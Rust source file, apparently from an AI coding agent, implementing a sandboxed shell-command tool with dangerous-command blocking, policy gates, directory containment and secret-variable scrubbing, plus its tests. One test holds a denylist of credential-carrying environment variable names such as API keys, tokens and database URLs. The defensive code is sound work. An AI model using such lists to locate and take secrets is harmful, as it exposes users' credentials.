1use mermaid_domain::ProgressEvent;
24use std::path::{Path, PathBuf};
25use std::process::Stdio;
26use std::time::{Duration, Instant};
27
28use async_trait::async_trait;
29use tokio::io::{AsyncRead, AsyncReadExt, AsyncWriteExt};
30use tokio::process::Command;
31
32use mermaid_domain::{FilesystemPolicy, NetworkPolicy};
33use mermaid_domain::{ManagedProcess, ToolDefinition, ToolMetadata, ToolOutcome, ToolRunMetadata};
34use mermaid_model::constants::{COMMAND_MAX_TIMEOUT_SECS, COMMAND_TIMEOUT_SECS};
35
36use super::super::ctx::ExecContext;
37use super::ToolExecutor;
38
39pub struct ExecuteCommandTool;
49
50#[derive(Debug, Clone, Copy, PartialEq, Eq)]
51enum CommandMode {
52 Wait,
53 Background,
54}
55
56impl CommandMode {
57 pub(crate) fn parse(args: &serde_json::Value) -> Result<Self, String> {
58 match args.get("mode").and_then(|v| v.as_str()).unwrap_or("wait") {
59 "wait" | "foreground" => Ok(Self::Wait),
60 "background" => Ok(Self::Background),
61 other => Err(format!(
62 "execute_command: mode must be 'wait' or 'background', got '{other}'"
63 )),
64 }
65 }
66}
67
68#[expect(
69 clippy::too_many_lines,
70 reason = "predates the lint; see .github/baselines/expect_budget.txt"
71)]
72#[async_trait]
73impl ToolExecutor for ExecuteCommandTool {
74 fn name(&self) -> &'static str {
75 "execute_command"
76 }
77
78 fn schema(&self) -> ToolDefinition {
79 ToolDefinition {
80 name: "execute_command".to_string(),
81 description:
82 "Run a shell command — PowerShell on Windows, sh on Linux/macOS; write the command in that shell's syntax. Use mode='wait' for finite commands, or mode='background' for dev servers and GUI/daemon-style commands that should keep running after the tool returns. Ctrl+C during foreground execution aborts the child immediately. The session scratchpad directory (for throwaway files) is exported to the child as MERMAID_SCRATCHPAD."
83 .to_string(),
84 input_schema: serde_json::json!({
85 "type": "object",
86 "properties": {
87 "command": { "type": "string", "description": "Shell command to run." },
88 "working_dir": { "type": "string", "description": "Override working directory (absolute)." },
89 "mode": {
90 "type": "string",
91 "enum": ["wait", "background"],
92 "default": "wait",
93 "description": "Use 'background' for long-running servers, daemons, and GUI launchers."
94 },
95 "timeout": {
96 "type": "integer",
97 "description": "Per-call foreground timeout in seconds. Default 30, max 300. Foreground timeout kills the child."
98 },
99 "startup_timeout_secs": {
100 "type": "integer",
101 "description": "Background mode: seconds to watch startup logs for readiness. Default 5, max 30."
102 },
103 "ready_pattern": {
104 "type": "string",
105 "description": "Background mode: text that marks the server/app ready when it appears in the startup log."
106 },
107 "open_url": {
108 "type": "string",
109 "description": "Background mode: URL to open with the default browser after startup."
110 }
111 },
112 "required": ["command"]
113 }),
114 }
115 }
116
117 async fn execute(&self, args: serde_json::Value, ctx: ExecContext) -> ToolOutcome {
118 let Some(command) = args.get("command").and_then(|v| v.as_str()) else {
119 return ToolOutcome::error("execute_command requires 'command' (string)", 0.0);
120 };
121
122 if contains_dangerous_command(command) {
123 return ToolOutcome::error(format!("Dangerous command blocked: {command}"), 0.0);
124 }
125
126 let (effective_workdir, within_project) = match args
133 .get("working_dir")
134 .and_then(|v| v.as_str())
135 {
136 Some(raw) => match super::path_safety::resolve_path_within(&ctx.workdir, raw) {
137 Ok(resolved) => resolved,
138 Err(e) => {
139 return ToolOutcome::error(format!("execute_command working_dir: {e}"), 0.0);
140 },
141 },
142 None => (ctx.workdir.clone(), true),
143 };
144 let containment = classify_cwd(
145 within_project,
146 &effective_workdir,
147 ctx.scratchpad.as_deref(),
148 );
149
150 let category = match containment {
151 CwdContainment::Project | CwdContainment::Scratchpad => {
152 mermaid_runtime::ToolCategory::Shell
153 },
154 CwdContainment::External => mermaid_runtime::ToolCategory::ExternalDirectory,
155 };
156 let scratch_contained = containment == CwdContainment::Scratchpad
159 && ctx
160 .scratchpad
161 .as_deref()
162 .is_some_and(|scratch| command_provably_in_scratch(command, scratch));
163 let mut policy_request =
164 mermaid_runtime::ActionRequest::new("execute_command", category, command.to_string());
165 policy_request.command = Some(command.to_string());
166 policy_request.cwd = Some(effective_workdir.clone());
170 if containment == CwdContainment::External {
171 policy_request.path = Some(effective_workdir.display().to_string());
172 }
173 let pending_action = serde_json::json!({
174 "tool": "execute_command",
175 "args": args.clone(),
176 "workdir": effective_workdir.display().to_string(),
177 "turn_id": ctx.turn.0,
178 "call_id": ctx.call_id.0,
179 "task_id": ctx.task_id.clone(),
180 });
181 let plan_write = match super::policy_gate::gate(
186 &ctx,
187 policy_request,
188 &[],
189 pending_action.clone(),
190 true,
191 scratch_contained,
192 )
193 .await
194 {
195 super::policy_gate::Gate::Block(outcome) => return outcome,
196 super::policy_gate::Gate::Proceed { risk, plan_write } => {
197 if !scratch_contained
200 && ctx.config.safety.checkpoint_on_mutation
201 && risk != mermaid_runtime::RiskClass::ReadOnly
202 {
203 let _ = mermaid_runtime::create_checkpoint_for_task(
204 &ctx.workdir,
205 &[],
206 Some(pending_action.clone()),
207 ctx.checkpoint_origin(),
208 );
209 }
210 plan_write
211 },
212 };
213
214 let mode = match CommandMode::parse(&args) {
215 Ok(mode) => mode,
216 Err(error) => return ToolOutcome::error(error, 0.0),
217 };
218 let shell_payload = serde_json::json!({
219 "task_id": ctx.task_id.clone(),
220 "turn_id": ctx.turn.0,
221 "call_id": ctx.call_id.0,
222 "command": command,
223 "working_dir": effective_workdir.display().to_string(),
224 });
225 let _ = mermaid_runtime::run_plugin_hooks("before_shell", &shell_payload);
226 if mode == CommandMode::Background {
227 let startup_timeout_secs = args
228 .get("startup_timeout_secs")
229 .or_else(|| args.get("startup_timeout"))
230 .and_then(|v| v.as_u64())
231 .unwrap_or(5)
232 .clamp(1, 30);
233 let ready_pattern = args
234 .get("ready_pattern")
235 .and_then(|v| v.as_str())
236 .map(str::to_string);
237 let open_url = args
238 .get("open_url")
239 .and_then(|v| v.as_str())
240 .filter(|v| !v.trim().is_empty())
241 .map(str::to_string);
242 let outcome = run_background_command(
243 command,
244 &effective_workdir,
245 startup_timeout_secs,
246 ready_pattern.as_deref(),
247 open_url.as_deref(),
248 ctx,
249 )
250 .await;
251 let _ = mermaid_runtime::run_plugin_hooks(
252 "after_shell",
253 &serde_json::json!({
254 "command": command,
255 "status": format!("{:?}", outcome.status),
256 "summary": &outcome.summary,
257 }),
258 );
259 return outcome;
260 }
261
262 let timeout_secs = args
263 .get("timeout")
264 .and_then(|v| v.as_u64())
265 .unwrap_or(COMMAND_TIMEOUT_SECS)
266 .min(COMMAND_MAX_TIMEOUT_SECS);
267
268 let command = command.to_string();
269 let start = Instant::now();
270 let progress = ctx.progress.clone();
271
272 let sandbox_expected = cfg!(any(target_os = "linux", target_os = "macos"));
290 let net_requested = matches!(ctx.config.safety.network, NetworkPolicy::Deny);
291 let fs_requested = matches!(ctx.config.safety.filesystem, FilesystemPolicy::Project);
292 let (net_available, fs_available) = sandbox_probes();
293 let sandbox_network = net_requested && (sandbox_expected || net_available);
294 let sandbox_fs = fs_requested && (sandbox_expected || fs_available);
295 if (net_requested && !net_available) || (fs_requested && !fs_available) {
296 static DEGRADED_WARN: std::sync::Once = std::sync::Once::new();
297 DEGRADED_WARN.call_once(|| {
298 if sandbox_expected {
299 tracing::warn!(
300 "sandbox policy requested but the OS sandbox backend probe failed; \
301 sandboxed commands will refuse to run (fail-closed)"
302 );
303 } else {
304 tracing::warn!(
305 "sandbox policy requested but no OS sandbox backend exists on this \
306 platform; commands run unconfined"
307 );
308 }
309 });
310 }
311 let confine_writes: Option<Vec<PathBuf>> = sandbox_fs.then(|| {
316 let mut dirs = vec![
317 ctx.workdir.clone(),
318 effective_workdir.clone(),
319 std::env::temp_dir(),
320 ];
321 if cfg!(unix) {
322 dirs.push(PathBuf::from("/dev"));
323 }
324 dirs.dedup();
325 dirs
326 });
327 if ctx.config.exec.pty_enabled() {
334 let invocation = shell_invocation(&command, sandbox_network, confine_writes.as_deref());
335 match run_command_pty(
336 &invocation,
337 &effective_workdir,
338 ctx.scratchpad.as_deref(),
339 progress.clone(),
340 ctx.token.clone(),
341 ctx.background.clone(),
342 Duration::from_secs(timeout_secs),
343 )
344 .await
345 {
346 Ok(run) => {
347 let outcome = finish_foreground_command(
348 Ok(run),
349 &command,
350 &effective_workdir,
351 start,
352 timeout_secs,
353 sandbox_network,
354 sandbox_fs,
355 );
356 let _ = mermaid_runtime::run_plugin_hooks(
357 "after_shell",
358 &serde_json::json!({
359 "command": command,
360 "status": format!("{:?}", outcome.status),
361 "summary": &outcome.summary,
362 }),
363 );
364 return outcome;
365 },
366 Err(err) => {
369 tracing::warn!(error = %err, "PTY exec unavailable; falling back to pipes");
370 },
371 }
372 }
373
374 let mut cmd = build_sandboxed_shell(&command, sandbox_network, confine_writes.as_deref());
375 cmd.stdin(Stdio::null())
376 .stdout(Stdio::piped())
377 .stderr(Stdio::piped())
378 .kill_on_drop(false);
388
389 #[cfg(unix)]
402 unsafe {
403 cmd.pre_exec(|| {
404 rustix::process::setsid()?;
405 Ok(())
406 });
407 }
408
409 cmd.current_dir(&effective_workdir);
410 scrub_secret_env(&mut cmd);
411 harden_noninteractive_env(&mut cmd);
412 export_scratchpad_env(&mut cmd, ctx.scratchpad.as_deref());
413
414 let mut outcome = finish_foreground_command(
419 run_command(
420 cmd,
421 progress,
422 ctx.token.clone(),
423 ctx.background.clone(),
424 Duration::from_secs(timeout_secs),
425 )
426 .await,
427 &command,
428 &effective_workdir,
429 start,
430 timeout_secs,
431 sandbox_network,
432 sandbox_fs,
433 );
434 outcome.metadata.plan_file_written =
438 plan_write && outcome.status == mermaid_domain::ToolStatus::Success;
439 let _ = mermaid_runtime::run_plugin_hooks(
440 "after_shell",
441 &serde_json::json!({
442 "command": command,
443 "status": format!("{:?}", outcome.status),
444 "summary": &outcome.summary,
445 }),
446 );
447 outcome
448 }
449}
450
451#[expect(
456 clippy::too_many_lines,
457 reason = "predates the lint; see .github/baselines/expect_budget.txt"
458)]
459fn finish_foreground_command(
460 result: std::io::Result<CommandRunResult>,
461 command: &str,
462 effective_workdir: &Path,
463 start: Instant,
464 timeout_secs: u64,
465 sandbox_network: bool,
466 sandbox_fs: bool,
467) -> ToolOutcome {
468 let command = command.to_string();
469 match result {
470 Ok(CommandRunResult::Completed(run)) => {
471 let duration_secs = start.elapsed().as_secs_f64();
472 let output_len = run.output.len();
473 let mut metadata = command_metadata(CommandMetadataInput {
474 command: command.clone(),
475 working_dir: Some(effective_workdir.display().to_string()),
476 exit_code: run.exit_code,
477 timed_out: false,
478 background: false,
479 stdout_lines: run.stdout_lines,
480 stderr_lines: run.stderr_lines,
481 detected_urls: all_urls(&run.output),
482 pid: None,
483 log_path: None,
484 byte_count: Some(output_len),
485 });
486 if let Some(kind) = detect_denial(&run, sandbox_network, sandbox_fs) {
487 if let ToolMetadata::ExecuteCommand {
491 denied_by_sandbox, ..
492 } = &mut metadata.detail
493 {
494 *denied_by_sandbox = true;
495 }
496 let message = match kind {
497 DenialKind::Network if cfg!(target_os = "linux") => {
501 NETWORK_DENIED_MESSAGE.to_string()
502 },
503 DenialKind::Network => format!(
504 "{HEDGED_NETWORK_DENIED_MESSAGE}\n\n--- original output ---\n{}",
505 run.output
506 ),
507 DenialKind::Filesystem => format!(
508 "{FS_DENIED_MESSAGE}\n\n--- original output ---\n{}",
509 run.output
510 ),
511 DenialKind::Ambiguous => format!(
512 "{AMBIGUOUS_DENIED_MESSAGE}\n\n--- original output ---\n{}",
513 run.output
514 ),
515 };
516 ToolOutcome::error(message, duration_secs).with_metadata(metadata)
517 } else {
518 ToolOutcome::success(run.output.clone(), "command completed", duration_secs)
519 .with_metadata(metadata)
520 }
521 },
522 Ok(CommandRunResult::Detached { pid, log_path }) => {
523 let duration_secs = start.elapsed().as_secs_f64();
525 let log_path_str = log_path.display().to_string();
526 let output = format!(
527 "Moved to background.\nPID: {pid}\nLog: {log_path_str}\nManage it with /processes, /logs {pid}, /stop {pid}."
528 );
529 let process = ManagedProcess {
530 id: format!("bg-{pid}"),
531 pid,
532 command: command.to_string(),
533 cwd: Some(effective_workdir.display().to_string()),
534 log_path: log_path_str.clone(),
535 detected_url: None,
536 status: mermaid_runtime::ProcessStatus::Running,
537 };
538 let mut metadata = command_metadata(CommandMetadataInput {
539 command: command.to_string(),
540 working_dir: Some(effective_workdir.display().to_string()),
541 exit_code: None,
542 timed_out: false,
543 background: true,
544 stdout_lines: 0,
545 stderr_lines: 0,
546 detected_urls: Vec::new(),
547 pid: Some(pid),
548 log_path: Some(log_path_str),
549 byte_count: Some(output.len()),
550 });
551 metadata.process = Some(process);
552 ToolOutcome::success(output, "moved to background", duration_secs)
553 .with_metadata(metadata)
554 },
555 Ok(CommandRunResult::Cancelled) => ToolOutcome::cancelled(),
556 Ok(CommandRunResult::TimedOut) => {
557 let message = format!(
558 "Command timed out after {timeout_secs} seconds and was killed. \
559 For dev servers, GUI apps, or other long-running commands, call execute_command with mode=\"background\"."
560 );
561 let duration_secs = start.elapsed().as_secs_f64();
562 ToolOutcome::error(message, duration_secs).with_metadata(command_metadata(
563 CommandMetadataInput {
564 command: command.clone(),
565 working_dir: Some(effective_workdir.display().to_string()),
566 exit_code: None,
567 timed_out: true,
568 background: false,
569 stdout_lines: 0,
570 stderr_lines: 0,
571 detected_urls: Vec::new(),
572 pid: None,
573 log_path: None,
574 byte_count: None,
575 },
576 ))
577 },
578 Err(e) => {
579 let duration_secs = start.elapsed().as_secs_f64();
580 ToolOutcome::error(format!("Command failed: {e}"), duration_secs).with_metadata(
581 command_metadata(CommandMetadataInput {
582 command: command.clone(),
583 working_dir: Some(effective_workdir.display().to_string()),
584 exit_code: None,
585 timed_out: false,
586 background: false,
587 stdout_lines: 0,
588 stderr_lines: 0,
589 detected_urls: Vec::new(),
590 pid: None,
591 log_path: None,
592 byte_count: None,
593 }),
594 )
595 },
596 }
597}
598
599pub(crate) mod background;
600pub(crate) mod capture;
601pub(crate) mod pty;
602pub(crate) mod sandbox;
603pub(crate) mod shell;
604
605pub(crate) use background::*;
606pub(crate) use capture::*;
607pub(crate) use pty::*;
608pub(crate) use sandbox::*;
609pub(crate) use shell::*;
610
611#[cfg(test)]
612mod tests {
613 use super::*;
614 use crate::providers::ctx::test_exec_context;
615 use mermaid_domain::{ToolCallId, TurnId};
616 use std::path::PathBuf;
617
618 #[test]
619 pub(crate) fn network_denial_detects_sigsys_and_reaped_child_exit() {
620 let out = |exit: Option<i32>, signal: Option<i32>| CommandRunOutput {
621 output: String::new(),
622 exit_code: exit,
623 signal,
624 stdout_lines: 0,
625 stderr_lines: 0,
626 };
627 assert!(is_sigsys_denial(&out(None, Some(31))));
629 assert!(is_sigsys_denial(&out(Some(159), None)));
631 assert!(!is_sigsys_denial(&out(Some(1), None)));
633 assert!(!is_sigsys_denial(&out(Some(0), None)));
634 assert!(!is_sigsys_denial(&out(None, Some(11)))); }
636
637 #[test]
638 pub(crate) fn detect_denial_gates_on_active_policies() {
639 let out = |exit: Option<i32>, signal: Option<i32>, output: &str| CommandRunOutput {
640 output: output.to_string(),
641 exit_code: exit,
642 signal,
643 stdout_lines: 0,
644 stderr_lines: 0,
645 };
646 assert_eq!(
649 detect_denial(&out(Some(159), None, "Permission denied"), false, false),
650 None
651 );
652 assert_eq!(detect_denial(&out(None, Some(31), ""), false, false), None);
653 assert_eq!(detect_denial(&out(Some(0), None, ""), true, true), None);
655 #[cfg(target_os = "linux")]
656 {
657 assert_eq!(
660 detect_denial(&out(None, Some(31), ""), true, true),
661 Some(DenialKind::Network)
662 );
663 assert_eq!(
664 detect_denial(&out(Some(1), None, "Permission denied"), false, true),
665 Some(DenialKind::Filesystem)
666 );
667 assert_eq!(
670 detect_denial(&out(Some(1), None, "Permission denied"), true, false),
671 None
672 );
673 }
674 #[cfg(target_os = "macos")]
675 {
676 let eperm = out(Some(1), None, "curl: Operation not permitted");
678 assert_eq!(
679 detect_denial(&eperm, true, false),
680 Some(DenialKind::Network)
681 );
682 assert_eq!(
683 detect_denial(&eperm, false, true),
684 Some(DenialKind::Filesystem)
685 );
686 assert_eq!(
687 detect_denial(&eperm, true, true),
688 Some(DenialKind::Ambiguous)
689 );
690 }
691 }
692
693 #[test]
694 pub(crate) fn fs_denial_requires_failure_and_permission_signature() {
695 let out = |exit: Option<i32>, output: &str| CommandRunOutput {
696 output: output.to_string(),
697 exit_code: exit,
698 signal: None,
699 stdout_lines: 0,
700 stderr_lines: 0,
701 };
702 assert!(is_permission_denial(&out(
704 Some(1),
705 "sh: line 1: /etc/nope: Permission denied"
706 )));
707 assert!(is_permission_denial(&out(
708 Some(2),
709 "touch: Operation not permitted"
710 )));
711 assert!(!is_permission_denial(&out(
713 Some(0),
714 "grep found: Permission denied"
715 )));
716 assert!(!is_permission_denial(&out(Some(1), "some other failure")));
718 assert!(!is_permission_denial(&out(None, "Permission denied")));
719 }
720
721 #[test]
722 pub(crate) fn sandboxed_shell_wraps_only_when_requested() {
723 let plain = build_sandboxed_shell("echo hi", false, None);
724 let plain_prog = plain.as_std().get_program().to_string_lossy().into_owned();
725 assert!(
726 ["sh", "pwsh", "powershell"].contains(&plain_prog.as_str()),
727 "plain shell program: {plain_prog}"
728 );
729
730 let wrapped = build_sandboxed_shell("echo hi", true, None);
731 let args: Vec<String> = wrapped
732 .as_std()
733 .get_args()
734 .map(|a| a.to_string_lossy().into_owned())
735 .collect();
736 assert_eq!(args.first().map(String::as_str), Some("__sandbox-exec"));
737 assert!(args.contains(&"--no-network".to_string()));
738 assert!(!args.contains(&"--confine-writes".to_string()));
739 assert!(args.contains(&"sh".to_string()));
740 }
741
742 #[test]
743 pub(crate) fn sandboxed_shell_passes_confine_writes_dirs() {
744 let dirs = vec![PathBuf::from("/proj"), PathBuf::from("/dev")];
745 let wrapped = build_sandboxed_shell("echo hi", false, Some(&dirs));
746 let args: Vec<String> = wrapped
747 .as_std()
748 .get_args()
749 .map(|a| a.to_string_lossy().into_owned())
750 .collect();
751 assert_eq!(args.first().map(String::as_str), Some("__sandbox-exec"));
752 assert!(!args.contains(&"--no-network".to_string()));
753 assert_eq!(
755 args.iter().filter(|a| *a == "--confine-writes").count(),
756 2,
757 "args: {args:?}"
758 );
759 assert!(args.contains(&"/proj".to_string()));
760 assert!(args.contains(&"/dev".to_string()));
761 }
762
763 #[test]
764 pub(crate) fn powershell_wrap_carries_stop_pref_and_exit_code_trailer() {
765 let wrapped = powershell_wrap("cargo build");
766 assert!(wrapped.starts_with("$ErrorActionPreference='Stop'\n"));
767 assert!(wrapped.contains("cargo build"));
768 assert!(wrapped.ends_with("{ exit $LASTEXITCODE }"));
769 }
770
771 #[cfg(target_os = "windows")]
772 #[test]
773 pub(crate) fn windows_shell_invocation_is_powershell() {
774 let inv = shell_invocation("echo hi", false, None);
775 let prog = inv.program.to_string_lossy().into_owned();
776 assert!(prog == "pwsh" || prog == "powershell", "program: {prog}");
777 let args: Vec<String> = inv
778 .args
779 .iter()
780 .map(|a| a.to_string_lossy().into_owned())
781 .collect();
782 assert_eq!(&args[..3], ["-NoProfile", "-NonInteractive", "-Command"]);
783 assert!(args[3].contains("echo hi"), "args: {args:?}");
784 }
785
786 #[cfg(target_os = "windows")]
790 #[tokio::test]
791 async fn windows_native_exit_code_propagates() {
792 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
793 let outcome = ExecuteCommandTool
794 .execute(serde_json::json!({"command": "cmd /c exit 7"}), ctx)
795 .await;
796 match &outcome.metadata.detail {
797 mermaid_domain::ToolMetadata::ExecuteCommand { exit_code, .. } => {
798 assert_eq!(*exit_code, Some(7), "outcome: {outcome:?}");
799 },
800 other => panic!("unexpected metadata: {other:?}"),
801 }
802 }
803
804 #[cfg(target_os = "windows")]
806 #[tokio::test]
807 async fn windows_powershell_syntax_works() {
808 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
809 let outcome = ExecuteCommandTool
810 .execute(
811 serde_json::json!({"command": "Write-Output ('mermaid-' + 'ps')"}),
812 ctx,
813 )
814 .await;
815 assert!(outcome.is_success(), "outcome: {outcome:?}");
816 assert!(
817 outcome.output().contains("mermaid-ps"),
818 "output: {}",
819 outcome.output()
820 );
821 }
822
823 #[tokio::test]
824 async fn tee_log_is_capped() {
825 let dir = std::env::temp_dir().join(format!("mermaid_teelog_{}", std::process::id()));
829 let _ = std::fs::create_dir_all(&dir);
830 let path = dir.join("log.txt");
831 let file = tokio::fs::File::create(&path).await.unwrap();
832 let log = std::sync::Arc::new(tokio::sync::Mutex::new(file));
833 let data = vec![b'x'; 4000];
835 let _ = read_capped(&data[..], 1_000_000, 16, None, Some(log)).await;
836 let written = std::fs::read(&path).unwrap();
837 assert!(
838 written.len() < 200,
839 "log must be capped near 16 bytes + marker, got {}",
840 written.len()
841 );
842 assert!(String::from_utf8_lossy(&written).contains("log truncated"));
843 let _ = std::fs::remove_dir_all(&dir);
844 }
845
846 #[cfg(unix)]
847 #[test]
848 pub(crate) fn tee_log_created_owner_only_and_refuses_existing() {
849 use std::os::unix::fs::PermissionsExt;
854 let dir = std::env::temp_dir().join(format!("mermaid_loghard_{}", std::process::id()));
855 let _ = std::fs::create_dir_all(&dir);
856 let path = dir.join("bg.log");
857 let _ = std::fs::remove_file(&path);
858
859 let file = create_log_file_blocking(&path).expect("first create succeeds");
860 drop(file);
861 let mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777;
862 assert_eq!(mode, 0o600, "tee log must be owner-only, got {mode:o}");
863
864 assert!(
867 create_log_file_blocking(&path).is_err(),
868 "O_EXCL must refuse an existing path"
869 );
870 let _ = std::fs::remove_dir_all(&dir);
871 }
872
873 #[test]
874 pub(crate) fn secret_env_name_denylist_covers_common_carriers() {
875 for name in [
877 "ANTHROPIC_API_KEY",
878 "AWS_SECRET_ACCESS_KEY",
879 "GITHUB_TOKEN",
880 "MY_SERVICE_PRIVATE_KEY",
881 "DATABASE_URL",
882 "SENTRY_DSN",
883 "SLACK_WEBHOOK_URL",
884 "KUBECONFIG",
885 "SSH_AUTH_SOCK",
886 "DB_PASSWORD",
887 "PG_CONNECTION_STRING",
888 ] {
889 assert!(is_secret_env_name(name), "{name} should be scrubbed");
890 }
891 for name in [
893 "PATH",
894 "HOME",
895 "CARGO_HOME",
896 "LANG",
897 "XAUTHORITY",
898 "RUSTUP_HOME",
899 ] {
900 assert!(!is_secret_env_name(name), "{name} should NOT be scrubbed");
901 }
902 }
903
904 #[tokio::test]
905 async fn out_of_project_working_dir_is_escalated_and_blocked() {
906 let project = std::env::temp_dir().join(format!("mermaid_wd_{}", std::process::id()));
911 let _ = std::fs::remove_dir_all(&project);
912 std::fs::create_dir_all(&project).unwrap();
913 let outside = project.parent().unwrap().to_path_buf();
914
915 let mk_ctx = || {
916 let mut config = mermaid_domain::Config::default();
917 config.safety.mode = mermaid_runtime::SafetyMode::ReadOnly;
918 crate::providers::ctx::test_exec_context_with_config(
919 TurnId(1),
920 ToolCallId(1),
921 project.clone(),
922 config,
923 )
924 };
925
926 let (ctx, _rx) = mk_ctx();
927 let outcome = ExecuteCommandTool
928 .execute(serde_json::json!({"command": "echo hi"}), ctx)
929 .await;
930 assert!(
931 outcome.is_success(),
932 "in-project read-only echo should run: {outcome:?}",
933 );
934
935 let (ctx, _rx) = mk_ctx();
936 let outcome = ExecuteCommandTool
937 .execute(
938 serde_json::json!({
939 "command": "echo hi",
940 "working_dir": outside.display().to_string(),
941 }),
942 ctx,
943 )
944 .await;
945 assert_eq!(
946 outcome.status,
947 mermaid_domain::ToolStatus::Error,
948 "out-of-project working_dir must be escalated + blocked: {outcome:?}",
949 );
950
951 let _ = std::fs::remove_dir_all(&project);
952 }
953
954 #[tokio::test]
960 async fn plan_write_carve_out_respects_the_effective_working_dir() {
961 let project = std::env::temp_dir().join(format!("mermaid_planwd_{}", std::process::id()));
962 let _ = std::fs::remove_dir_all(&project);
963 std::fs::create_dir_all(project.join(".mermaid/plans")).unwrap();
964 std::fs::create_dir_all(project.join("sub")).unwrap();
967 let plan_file = project.join(".mermaid/plans/x.md");
968
969 let mk_ctx = || {
970 let mut config = mermaid_domain::Config::default();
971 config.safety.mode = mermaid_runtime::SafetyMode::ReadOnly;
972 config.safety.checkpoint_on_mutation = false;
973 let (mut ctx, rx) = crate::providers::ctx::test_exec_context_with_config(
974 TurnId(1),
975 ToolCallId(1),
976 project.clone(),
977 config,
978 );
979 ctx.plan_file = Some(plan_file.clone());
980 (ctx, rx)
981 };
982
983 let (ctx, _rx) = mk_ctx();
986 let outcome = ExecuteCommandTool
987 .execute(
988 serde_json::json!({"command": "echo plan > .mermaid/plans/x.md"}),
989 ctx,
990 )
991 .await;
992 assert!(
993 outcome.is_success(),
994 "plan write must be allowed: {outcome:?}"
995 );
996 assert!(
997 plan_file.exists(),
998 "the plan file is the file that got written"
999 );
1000
1001 let (ctx, _rx) = mk_ctx();
1005 let outcome = ExecuteCommandTool
1006 .execute(
1007 serde_json::json!({
1008 "command": "echo elsewhere > .mermaid/plans/x.md",
1009 "working_dir": project.join("sub").display().to_string(),
1010 }),
1011 ctx,
1012 )
1013 .await;
1014 assert_eq!(
1015 outcome.status,
1016 mermaid_domain::ToolStatus::Error,
1017 "a plan-relative write from another cwd is not a plan write: {outcome:?}",
1018 );
1019 assert!(
1020 !project.join("sub/.mermaid/plans/x.md").exists(),
1021 "nothing may be written outside the plan path",
1022 );
1023
1024 let _ = std::fs::remove_dir_all(&project);
1025 }
1026
1027 #[tokio::test]
1028 async fn safe_command_runs_and_captures_output() {
1029 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1030 let outcome = ExecuteCommandTool
1033 .execute(serde_json::json!({"command": "echo 'hello world'"}), ctx)
1034 .await;
1035 assert!(outcome.is_success(), "expected success: {outcome:?}");
1036 assert!(outcome.output().contains("hello world"));
1037 }
1038
1039 #[cfg(target_os = "linux")]
1044 #[tokio::test]
1045 async fn foreground_child_runs_in_new_session() {
1046 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1047 let outcome = ExecuteCommandTool
1048 .execute(
1049 serde_json::json!({
1050 "command": r#"test "$(awk '{print $6}' /proc/$$/stat)" = "$$" && echo NEW_SESSION_OK || echo "NOT_A_SESSION_LEADER sid=$(awk '{print $6}' /proc/$$/stat) pid=$$""#,
1051 }),
1052 ctx,
1053 )
1054 .await;
1055 assert!(outcome.is_success(), "expected success: {outcome:?}");
1056 assert!(
1057 outcome.output().contains("NEW_SESSION_OK"),
1058 "child shell is not a session leader: {}",
1059 outcome.output()
1060 );
1061 }
1062
1063 #[cfg(unix)]
1068 #[tokio::test]
1069 async fn pty_child_dev_tty_is_the_captured_pty() {
1070 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1071 let outcome = ExecuteCommandTool
1072 .execute(
1073 serde_json::json!({
1074 "command": "if echo CAPTURED_BY_PTY > /dev/tty 2>/dev/null; then echo TTY_OPEN_OK; else echo TTY_OPEN_DENIED; fi",
1075 }),
1076 ctx,
1077 )
1078 .await;
1079 assert!(outcome.is_success(), "expected success: {outcome:?}");
1080 assert!(
1081 outcome.output().contains("TTY_OPEN_OK"),
1082 "PTY child should see a controlling terminal: {}",
1083 outcome.output()
1084 );
1085 assert!(
1086 outcome.output().contains("CAPTURED_BY_PTY"),
1087 "/dev/tty writes must land in the CAPTURE, not the user's terminal: {}",
1088 outcome.output()
1089 );
1090 }
1091
1092 #[cfg(unix)]
1098 #[tokio::test]
1099 async fn foreground_child_cannot_open_dev_tty() {
1100 if std::fs::File::open("/dev/tty").is_err() {
1101 eprintln!("skipped: no controlling terminal in test environment");
1102 return;
1103 }
1104 let (ctx, _rx) = pipes_ctx();
1105 let outcome = ExecuteCommandTool
1106 .execute(
1107 serde_json::json!({
1108 "command": "if echo x > /dev/tty 2>/dev/null; then echo TTY_OPEN_OK; else echo TTY_OPEN_DENIED; fi",
1109 }),
1110 ctx,
1111 )
1112 .await;
1113 assert!(
1114 outcome.output().contains("TTY_OPEN_DENIED"),
1115 "session-detached child could still open /dev/tty: {}",
1116 outcome.output()
1117 );
1118 }
1119
1120 pub(crate) fn pipes_ctx() -> (
1122 crate::providers::ctx::ExecContext,
1123 tokio::sync::mpsc::Receiver<mermaid_domain::ProgressEvent>,
1124 ) {
1125 let mut config = mermaid_domain::Config::default();
1126 config.safety.mode = mermaid_runtime::SafetyMode::FullAccess;
1127 config.exec.pty = Some(false);
1128 crate::providers::ctx::test_exec_context_with_config(
1129 TurnId(1),
1130 ToolCallId(1),
1131 std::env::temp_dir(),
1132 config,
1133 )
1134 }
1135
1136 #[cfg(unix)]
1137 #[tokio::test]
1138 async fn pty_child_sees_a_terminal_and_pipes_child_does_not() {
1139 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1141 let outcome = ExecuteCommandTool
1142 .execute(
1143 serde_json::json!({"command": "if [ -t 1 ]; then echo IS_TTY; fi; tty"}),
1144 ctx,
1145 )
1146 .await;
1147 assert!(outcome.is_success(), "{outcome:?}");
1148 assert!(outcome.output().contains("IS_TTY"), "{}", outcome.output());
1149 assert!(
1150 outcome.output().contains("/dev/pts/") || outcome.output().contains("/dev/tty"),
1151 "tty should name the pts: {}",
1152 outcome.output()
1153 );
1154 let (ctx, _rx) = pipes_ctx();
1156 let outcome = ExecuteCommandTool
1157 .execute(
1158 serde_json::json!({"command": "if [ -t 1 ]; then echo IS_TTY; else echo NOT_TTY; fi"}),
1159 ctx,
1160 )
1161 .await;
1162 assert!(outcome.output().contains("NOT_TTY"), "{}", outcome.output());
1163 }
1164
1165 #[cfg(unix)]
1166 #[tokio::test]
